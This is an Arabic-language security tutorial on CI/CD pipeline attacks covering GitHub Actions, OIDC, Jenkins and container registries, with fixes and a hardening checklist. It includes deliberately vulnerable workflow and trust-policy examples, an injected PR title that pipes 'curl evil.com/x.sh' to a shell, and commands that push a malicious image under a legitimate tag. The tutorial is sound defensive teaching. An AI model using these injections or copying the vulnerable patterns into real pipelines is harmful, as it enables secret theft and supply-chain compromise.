CI/CD Attacks — الـ Pipeline اللي بيخش لـ prod
GitHub Actions و GitLab CI و Jenkins — secrets و runners و artifacts
ليه CI/CD هدف ذهبي؟
سؤال بسيط: مين عنده صلاحيات أكتر من المدير التقني نفسه في الشركة؟
- المبرمج يا حضرتك؟
لأ.
- طب الـ DBA؟
لأ يا مستجد.
الـ runner اللي شغّال في GitHub Actions، اللي محدش بيبص ناحيته من 3 سنين. هو اللي عنده cloud admin، registry write، deploy keys، و secrets كل الإنتاج. كله في pod واحد.
- بيستخدم
actions/checkout@v4بـ tag بدل full SHA — والـ tag mutable ممكن المهاجم يحرّكه على commit خبيث (زي اللي حصل لـ tj-actions). - بيحط
echo $TOKENفي job "عشان debug" وبعدين الـ logs بقت علنية. - بيشغّل self-hosted runner على repo public وبيستغرب لما حد يبعت PR من fork ينفّذ كود على جهازه الفعلي.
- بيظبّط OIDC trust policy بـ
sub: repo:my-org/*— فأي repo في الـ org بياخد دور الـ AWS prod. - بيخلط
pull_request_targetمع checkout للـ PR ref ومعاه secrets — كومبو الموت.
نقاط الدخول الرئيسية
GitHub Actions — أكتر سطح بيتضرب
1) pull_request_target — الفخ الكلاسيكي
# خطير! يُشغّل بصلاحيات repo (secrets) لكن مع كود الـ PR
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # كود غير موثوق!
- run: npm install && npm run build # ينفّذ scripts الخبيثة
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # السرّ مكشوفالحل: استخدم pull_request العادي (مفيش secrets على PRs خارجية)، أو افصل: workflow بدون امتيازات بيبني، وworkflow تاني بيستخدم الـ secrets بس بعد label يدوي.
2) Script injection عبر context
- run: echo "Title: ${{ github.event.pull_request.title }}"
# عنوان PR مثل: $(curl evil.com/x.sh | sh) — ينفّذ على الـ runner!الحل: مرر القيم عبر env:
- run: echo "Title: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}3) Third-party action مثبّتة بـ tag (mutable)
- uses: tj-actions/changed-files@v44 # tag يمكن تحريكه!
# في 2025 تم اختراق tj-actions و أُعيد توجيه v44 لـ commit يسرّب secretsالحل: ثبّت بـ SHA كامل:
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8 # v44.5.7Self-hosted runners — أخطر منشأة في خط الـ CI/CD
OIDC misconfiguration — اختراق سحابي من غير باسورد
// AWS Trust policy خطر — أي workflow في الـ org يأخذ الدور!
{
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::1234:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:my-org/*" // <— خطأ
}
}
}الصح: قيّد بفرع محدد وrepo محدد:
"token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"Jenkins — قديم وفيه مفاجآت
- Script Console (/script) → تنفيذ Groovy = root على الـ master. ناس كتير سايبه مكشوف.
- build with parameters → injection في shell step.
- credentials.xml على الـ master فيه كل الأسرار مشفرة بمفتاح موجود جنبها. تحفة، مش كدة؟
Container registries والـ artifacts
سرقة push token = نشر صورة خبيثة بنفس الاسم. كل اللي بيسحب latest بينفذها على نفسه.
# Docker Hub — push صورة مع entrypoint خبيث
docker build -t myorg/app:latest -f Dockerfile.evil .
docker push myorg/app:latest
# الحماية: image signing
cosign sign --key cosign.key myorg/app:sha256@...
cosign verify --key cosign.pub myorg/app:latest # في deploy stepSLSA و Sigstore — توقيع موثوق
SLSA (Supply-chain Levels for Software Artifacts) إطار من Google بيحدد مستويات النضج. الهدف: كل artifact بييجي معاه provenance موقّعة بتثبت مين بناه ومن فين.
- Sigstore / cosign — توقيع keyless عن طريق OIDC (Fulcio CA + Rekor transparency log).
- SLSA Level 3: build على hosted ephemeral runner، provenance مينفعش تتزور.
- التحقق في admission: Kubernetes + Kyverno/Connaisseur بيرفضوا الـ pods من غير توقيع.
الكشف والحماية
- Pin الـ actions بـ SHA، مش tags. أتمتها عن طريق Dependabot/Renovate.
- تجنب pull_request_target + checkout للـ PR ref في نفس الـ workflow.
- OIDC: حدد الـ sub بدقة (repo + ref). مفيش wildcards.
- Secret scanning + push protection على كل repo.
- Branch protection: required reviews، signed commits، linear history.
- Ephemeral runners بس، خصوصاً للمستودعات العامة.
- Network egress من الـ runners → allowlist معروف بس.
- Audit logs للـ org → SIEM. راقب: secret scanning bypass، ربط OIDC جديد، ترقية صلاحيات.
الخلاصة الناشفة
الـ CI/CD مش أداة DevOps. هو أعلى صلاحيات في شركتك مجمّعة في process مفيش حد بيراقبه.
اكتبها على الحيطة اللي في وش السرير:
مفيش pinning بـ SHA؟ يبقى أنت بتثق في صاحب الـ repo التاني عشان ما يحرّكش الـ tag.
OIDC مفتوح بـ wildcard؟ يبقى أنت بتدّي AWS لأي repo في الـ org.
self-hosted runner على repo عام؟ يبقى أنت بتدّي shell على بنيتك لأي حد فاتح GitHub.
الـ pipeline ده مش بتاع المبرمجين لوحدهم. هو بتاع الـ security team برضو. لو سيبته لوحدهم يظبّطوه، الكارثة جاية. السؤال بس: إمتى.